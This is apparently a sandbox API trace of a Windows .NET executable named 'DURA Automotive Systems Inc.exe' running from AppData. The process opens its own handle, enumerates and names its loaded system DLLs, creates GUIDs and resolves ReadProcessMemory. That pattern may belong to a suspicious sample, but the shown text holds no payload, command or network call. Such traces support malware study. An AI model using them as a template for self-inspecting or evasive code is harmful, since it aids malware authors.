	[0175.366] GetLastError () returned 0xcb
	[0175.366] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x72be0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf
	[0175.366] GetLastError () returned 0xcb
	[0175.366] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x72be0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68
	[0175.366] GetLastError () returned 0xcb
	[0175.367] GetModuleInformation (in: hProcess=0x1e8, hModule=0x745f0000, lpmodinfo=0x250f800, cb=0xc | out: lpmodinfo=0x250f800*(lpBaseOfDll=0x745f0000, SizeOfImage=0x80000, EntryPoint=0x746037c9)) returned 1
	[0175.367] GetLastError () returned 0xcb
	[0175.367] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x745f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb
	[0175.367] GetLastError () returned 0xcb
	[0175.367] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x745f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f
	[0175.368] GetLastError () returned 0xcb
	[0175.368] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74450000, lpmodinfo=0x25108fc, cb=0xc | out: lpmodinfo=0x25108fc*(lpBaseOfDll=0x74450000, SizeOfImage=0x5b000, EntryPoint=0x74494d48)) returned 1
	[0175.369] GetLastError () returned 0xcb
	[0175.369] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74450000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc
	[0175.369] GetLastError () returned 0xcb
	[0175.369] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74450000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a
	[0175.370] GetLastError () returned 0xcb
	[0175.370] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73cb0000, lpmodinfo=0x2511a34, cb=0xc | out: lpmodinfo=0x2511a34*(lpBaseOfDll=0x73cb0000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1
	[0175.370] GetLastError () returned 0xcb
	[0175.370] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73cb0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd
	[0175.371] GetLastError () returned 0xcb
	[0175.371] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73cb0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64
	[0175.371] GetLastError () returned 0xcb
	[0175.371] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73b10000, lpmodinfo=0x2512bc0, cb=0xc | out: lpmodinfo=0x2512bc0*(lpBaseOfDll=0x73b10000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1
	[0175.372] GetLastError () returned 0xcb
	[0175.372] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73b10000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c
	[0175.372] GetLastError () returned 0xcb
	[0175.372] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73b10000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81
	[0175.372] GetLastError () returned 0xcb
	[0175.373] GetModuleInformation (in: hProcess=0x1e8, hModule=0x750f0000, lpmodinfo=0x2513da4, cb=0xc | out: lpmodinfo=0x2513da4*(lpBaseOfDll=0x750f0000, SizeOfImage=0x5000, EntryPoint=0x750f1438)) returned 1
	[0175.381] GetLastError () returned 0xcb
	[0175.381] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x750f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9
	[0175.381] GetLastError () returned 0xcb
	[0175.381] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x750f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d
	[0175.382] GetLastError () returned 0xcb
	[0175.382] CloseHandle (hObject=0x1e8) returned 1
	[0175.382] GetLastError () returned 0xcb
	[0175.385] CoCreateGuid (in: pguid=0x33d1b4 | out: pguid=0x33d1b4*(Data1=0xffb096d, Data2=0xf704, Data3=0x4243, Data4=([0]=0x8f, [1]=0x41, [2]=0x1c, [3]=0xd3, [4]=0xf, [5]=0xbe, [6]=0x35, [7]=0xd3))) returned 0x0
	[0175.392] CoCreateGuid (in: pguid=0x33d718 | out: pguid=0x33d718*(Data1=0xc008d0ff, Data2=0x91f4, Data3=0x480d, Data4=([0]=0x8b, [1]=0xba, [2]=0xed, [3]=0x60, [4]=0x68, [5]=0x12, [6]=0x49, [7]=0xea))) returned 0x0
	[0175.401] GetProcAddress (hModule=0x75960000, lpProcName="ReadProcessMemory") returned 0x7598cfcc
	[0175.408] GetCurrentProcessId () returned 0x530
	[0175.408] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x530) returned 0x1e8
	[0175.408] GetLastError () returned 0xcb
	[0175.408] EnumProcessModules (in: hProcess=0x1e8, lphModule=0x25204dc, cb=0x100, lpcbNeeded=0x33dec4 | out: lphModule=0x25204dc, lpcbNeeded=0x33dec4) returned 1
	[0175.408] GetLastError () returned 0xcb
	[0175.409] GetModuleInformation (in: hProcess=0x1e8, hModule=0xb0000, lpmodinfo=0x252061c, cb=0xc | out: lpmodinfo=0x252061c*(lpBaseOfDll=0xb0000, SizeOfImage=0x40000, EntryPoint=0xe80ce)) returned 1
	[0175.409] GetLastError () returned 0xcb
	[0175.409] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0xb0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="DURA Automotive Systems Inc.exe") returned 0x1f
	[0175.409] GetLastError () returned 0xcb
	[0175.409] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0xb0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc\\dura automotive systems inc.exe")) returned 0x5d
	[0175.409] GetLastError () returned 0xcb
	[0175.409] GetModuleInformation (in: hProcess=0x1e8, hModule=0x77230000, lpmodinfo=0x25217dc, cb=0xc | out: lpmodinfo=0x25217dc*(lpBaseOfDll=0x77230000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1
	[0175.409] GetLastError () returned 0xcb
	[0175.409] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x77230000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9
	[0175.409] GetLastError () returned 0xcb
	[0175.409] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x77230000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d
	[0175.409] GetLastError () returned 0xcb
	[0175.410] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73910000, lpmodinfo=0x25228d0, cb=0xc | out: lpmodinfo=0x25228d0*(lpBaseOfDll=0x73910000, SizeOfImage=0x4a000, EntryPoint=0x73912e54)) returned 1
	[0175.410] GetLastError () returned 0xcb
	[0175.410] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73910000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb
	[0175.410] GetLastError () returned 0xcb
	[0175.410] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73910000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f
	[0175.410] GetLastError () returned 0xcb
	[0175.410] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75960000, lpmodinfo=0x25239cc, cb=0xc | out: lpmodinfo=0x25239cc*(lpBaseOfDll=0x75960000, SizeOfImage=0x110000, EntryPoint=0x759732d3)) returned 1
	[0175.410] GetLastError () returned 0xcb
	[0175.410] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75960000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc
	[0175.410] GetLastError () returned 0xcb
	[0175.410] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75960000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20
	[0175.411] GetLastError () returned 0xcb
	[0175.411] GetModuleInformation (in: hProcess=0x1e8, hModule=0x768a0000, lpmodinfo=0x2524ad0, cb=0xc | out: lpmodinfo=0x2524ad0*(lpBaseOfDll=0x768a0000, SizeOfImage=0x46000, EntryPoint=0x768a7478)) returned 1
	[0175.411] GetLastError () returned 0xcb
	[0175.411] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x768a0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe
	[0175.411] GetLastError () returned 0xcb
	[0175.411] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x768a0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22
	[0175.411] GetLastError () returned 0xcb
	[0175.411] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75690000, lpmodinfo=0x2525c0c, cb=0xc | out: lpmodinfo=0x2525c0c*(lpBaseOfDll=0x75690000, SizeOfImage=0xa0000, EntryPoint=0x756a49e5)) returned 1
	[0175.411] GetLastError () returned 0xcb
	[0175.411] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75690000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc
	[0175.412] GetLastError () returned 0xcb
	[0175.412] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75690000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20
	[0175.412] GetLastError () returned 0xcb
	[0175.412] GetModuleInformation (in: hProcess=0x1e8, hModule=0x755e0000, lpmodinfo=0x2526d10, cb=0xc | out: lpmodinfo=0x2526d10*(lpBaseOfDll=0x755e0000, SizeOfImage=0xac000, EntryPoint=0x755ea472)) returned 1
	[0175.412] GetLastError () returned 0xcb
	[0175.412] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x755e0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa
	[0175.412] GetLastError () returned 0xcb
	[0175.412] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x755e0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e
	[0175.413] GetLastError () returned 0xcb
	[0175.413] GetModuleInformation (in: hProcess=0x1e8, hModule=0x767f0000, lpmodinfo=0x2527e0c, cb=0xc | out: lpmodinfo=0x2527e0c*(lpBaseOfDll=0x767f0000, SizeOfImage=0x19000, EntryPoint=0x767f4975)) returned 1
	[0175.413] GetLastError () returned 0xcb
	[0175.413] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x767f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb
	[0175.413] GetLastError () returned 0xcb
	[0175.413] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x767f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f
	[0175.413] GetLastError () returned 0xcb
	[0175.413] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74ec0000, lpmodinfo=0x2528f08, cb=0xc | out: lpmodinfo=0x2528f08*(lpBaseOfDll=0x74ec0000, SizeOfImage=0xf0000, EntryPoint=0x74ed0569)) returned 1
	[0175.413] GetLastError () returned 0xcb
	[0175.413] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74ec0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa
	[0175.414] GetLastError () returned 0xcb
	[0175.414] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74ec0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e
	[0175.414] GetLastError () returned 0xcb
	[0175.414] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d90000, lpmodinfo=0x252a054, cb=0xc | out: lpmodinfo=0x252a054*(lpBaseOfDll=0x74d90000, SizeOfImage=0x60000, EntryPoint=0x74daa3b3)) returned 1
	[0175.414] GetLastError () returned 0xcb
	[0175.414] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d90000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb
	[0175.414] GetLastError () returned 0xcb
	[0175.414] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d90000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f
	[0175.415] GetLastError () returned 0xcb
	[0175.415] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d80000, lpmodinfo=0x252b150, cb=0xc | out: lpmodinfo=0x252b150*(lpBaseOfDll=0x74d80000, SizeOfImage=0xc000, EntryPoint=0x74d810e1)) returned 1
	[0175.415] GetLastError () returned 0xcb
	[0175.415] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d80000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd
	[0175.415] GetLastError () returned 0xcb
	[0175.415] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d80000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21
	[0175.415] GetLastError () returned 0xcb
	[0175.416] GetModuleInformation (in: hProcess=0x1e8, hModule=0x736f0000, lpmodinfo=0x252c254, cb=0xc | out: lpmodinfo=0x252c254*(lpBaseOfDll=0x736f0000, SizeOfImage=0x7a000, EntryPoint=0x736f1f48)) returned 1
	[0175.416] GetLastError () returned 0xcb
	[0175.416] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x736f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc
	[0175.416] GetLastError () returned 0xcb
	[0175.416] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x736f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a
	[0175.416] GetLastError () returned 0xcb
	[0175.416] GetModuleInformation (in: hProcess=0x1e8, hModule=0x76bd0000, lpmodinfo=0x252d38c, cb=0xc | out: lpmodinfo=0x252d38c*(lpBaseOfDll=0x76bd0000, SizeOfImage=0x57000, EntryPoint=0x76be9ba6)) returned 1
	[0175.417] GetLastError () returned 0xcb
	[0175.417] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x76bd0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb
	[0175.417] GetLastError () returned 0xcb
	[0175.417] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x76bd0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f
	[0175.417] GetLastError () returned 0xcb
	[0175.417] GetModuleInformation (in: hProcess=0x1e8, hModule=0x758d0000, lpmodinfo=0x252e488, cb=0xc | out: lpmodinfo=0x252e488*(lpBaseOfDll=0x758d0000, SizeOfImage=0x90000, EntryPoint=0x758e6343)) returned 1
	[0175.417] GetLastError () returned 0xcb
	[0175.417] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x758d0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9
	[0175.418] GetLastError () returned 0xcb
	[0175.418] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x758d0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d
	[0175.418] GetLastError () returned 0xcb
	[0175.418] GetModuleInformation (in: hProcess=0x1e8, hModule=0x76ad0000, lpmodinfo=0x252f57c, cb=0xc | out: lpmodinfo=0x252f57c*(lpBaseOfDll=0x76ad0000, SizeOfImage=0x100000, EntryPoint=0x76aeb6ed)) returned 1
	[0175.418] GetLastError () returned 0xcb
	[0175.418] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x76ad0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa
	[0175.419] GetLastError () returned 0xcb
	[0175.419] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x76ad0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e
	[0175.419] GetLastError () returned 0xcb
	[0175.419] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75830000, lpmodinfo=0x2530678, cb=0xc | out: lpmodinfo=0x2530678*(lpBaseOfDll=0x75830000, SizeOfImage=0xa000, EntryPoint=0x758336a0)) returned 1
	[0175.419] GetLastError () returned 0xcb
	[0175.419] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75830000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7
	[0175.419] GetLastError () returned 0xcb
	[0175.420] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75830000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b
	[0175.420] GetLastError () returned 0xcb
	[0175.420] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75790000, lpmodinfo=0x2531764, cb=0xc | out: lpmodinfo=0x2531764*(lpBaseOfDll=0x75790000, SizeOfImage=0x9d000, EntryPoint=0x757c3fd7)) returned 1
	[0175.420] GetLastError () returned 0xcb
	[0175.420] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75790000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9
	[0175.421] GetLastError () returned 0xcb
	[0175.421] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75790000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d
	[0175.421] GetLastError () returned 0xcb
	[0175.421] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75730000, lpmodinfo=0x25328e8, cb=0xc | out: lpmodinfo=0x25328e8*(lpBaseOfDll=0x75730000, SizeOfImage=0x60000, EntryPoint=0x7574158f)) returned 1
	[0175.421] GetLastError () returned 0xcb
	[0175.421] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75730000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9
	[0175.422] GetLastError () returned 0xcb
	[0175.422] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75730000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d
	[0175.422] GetLastError () returned 0xcb
	[0175.422] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74df0000, lpmodinfo=0x25339dc, cb=0xc | out: lpmodinfo=0x25339dc*(lpBaseOfDll=0x74df0000, SizeOfImage=0xcc000, EntryPoint=0x74df168b)) returned 1
	[0175.422] GetLastError () returned 0xcb
	[0175.422] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74df0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9
	[0175.423] GetLastError () returned 0xcb
	[0175.423] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74df0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d
	[0175.423] GetLastError () returned 0xcb
	[0175.423] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74740000, lpmodinfo=0x2534ad0, cb=0xc | out: lpmodinfo=0x2534ad0*(lpBaseOfDll=0x74740000, SizeOfImage=0x5ab000, EntryPoint=0x74793dc0)) returned 1
	[0175.423] GetLastError () returned 0xcb
	[0175.423] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74740000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc
	[0175.424] GetLastError () returned 0xcb
	[0175.424] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74740000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a
	[0175.424] GetLastError () returned 0xcb
	[0175.424] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74670000, lpmodinfo=0x2535c08, cb=0xc | out: lpmodinfo=0x2535c08*(lpBaseOfDll=0x74670000, SizeOfImage=0x9b000, EntryPoint=0x7467232b)) returned 1
	[0175.425] GetLastError () returned 0xcb
	[0175.425] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74670000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb
	[0175.425] GetLastError () returned 0xcb
	[0175.425] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74670000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a
	[0175.426] GetLastError () returned 0xcb
	[0175.426] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75b00000, lpmodinfo=0x2536d9c, cb=0xc | out: lpmodinfo=0x2536d9c*(lpBaseOfDll=0x75b00000, SizeOfImage=0xc4a000, EntryPoint=0x75b81601)) returned 1
	[0175.426] GetLastError () returned 0xcb
	[0175.426] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75b00000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb
	[0175.427] GetLastError () returned 0xcb
	[0175.427] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75b00000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f
	[0175.427] GetLastError () returned 0xcb
	[0175.427] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75180000, lpmodinfo=0x2537e98, cb=0xc | out: lpmodinfo=0x2537e98*(lpBaseOfDll=0x75180000, SizeOfImage=0x15c000, EntryPoint=0x751cba3d)) returned 1
	[0175.428] GetLastError () returned 0xcb
	[0175.428] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75180000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9
	[0175.428] GetLastError () returned 0xcb
	[0175.428] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75180000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d
	[0175.429] GetLastError () returned 0xcb
	[0175.429] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d20000, lpmodinfo=0x2538f8c, cb=0xc | out: lpmodinfo=0x2538f8c*(lpBaseOfDll=0x74d20000, SizeOfImage=0xb000, EntryPoint=0x74d21992)) returned 1
	[0175.429] GetLastError () returned 0xcb
	[0175.429] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d20000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb
	[0175.430] GetLastError () returned 0xcb
	[0175.430] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d20000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f
	[0175.431] GetLastError () returned 0xcb
	[0175.431] GetModuleInformation (in: hProcess=0x1e8, hModule=0x72be0000, lpmodinfo=0x253a088, cb=0xc | out: lpmodinfo=0x253a088*(lpBaseOfDll=0x72be0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1
	[0175.431] GetLastError () returned 0xcb
	[0175.431] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x72be0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf
	[0175.432] GetLastError () returned 0xcb
	[0175.432] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x72be0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68
	[0175.433] GetLastError () returned 0xcb
	[0175.433] GetModuleInformation (in: hProcess=0x1e8, hModule=0x745f0000, lpmodinfo=0x253b220, cb=0xc | out: lpmodinfo=0x253b220*(lpBaseOfDll=0x745f0000, SizeOfImage=0x80000, EntryPoint=0x746037c9)) returned 1
	[0175.433] GetLastError () returned 0xcb
	[0175.433] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x745f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb
	[0175.434] GetLastError () returned 0xcb
	[0175.434] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x745f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f
	[0175.434] GetLastError () returned 0xcb
	[0175.434] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74450000, lpmodinfo=0x253c31c, cb=0xc | out: lpmodinfo=0x253c31c*(lpBaseOfDll=0x74450000, SizeOfImage=0x5b000, EntryPoint=0x74494d48)) returned 1
	[0175.435] GetLastError () returned 0xcb
	[0175.435] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74450000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc
	[0175.435] GetLastError () returned 0xcb
